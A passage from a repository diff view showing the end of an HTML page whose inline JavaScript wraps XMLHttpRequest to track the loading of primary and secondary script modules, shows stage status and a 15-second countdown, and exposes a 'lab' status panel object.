onModule(u, ok && xhr.status !== 404);
|
||||
});
|
||||
return XS.apply(this, arguments);
|
||||
};
|
||||
|
||||
var armed = false;
|
||||
setInterval(function () {
|
||||
// e=0 may land before secondary is requested; never fail packs after success.
|
||||
if (finished || state.ok === "ok") return;
|
||||
if (state.p === "ok" && state.s === "idle") {
|
||||
if (!armed) {
|
||||
armed = true;
|
||||
setTimeout(function () {
|
||||
if (finished || state.ok === "ok") return;
|
||||
if (state.p === "ok" && state.s === "idle") {
|
||||
setStage("s", "bad", null, "no request");
|
||||
statusEl.textContent = "Primary ok · secondary never requested";
|
||||
log("timeout · no secondary .min.js after primary");
|
||||
}
|
||||
}, 4000);
|
||||
}
|
||||
}
|
||||
}, 500);
|
||||
|
||||
// Independent of stage success/fail — always ticks until 15s elapses.
|
||||
tickTimer = setInterval(function () {
|
||||
paintCountdown();
|
||||
if (remain <= 0) {
|
||||
clearInterval(tickTimer);
|
||||
tickTimer = null;
|
||||
ringWrap.classList.remove("is-ticking");
|
||||
}
|
||||
}, 200);
|
||||
|
||||
fillModel();
|
||||
paintCountdown();
|
||||
statusEl.textContent = "Preparing stages…";
|
||||
window.__labHud = { setStage: setStage, state: state, markSuccess: markSuccess };
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user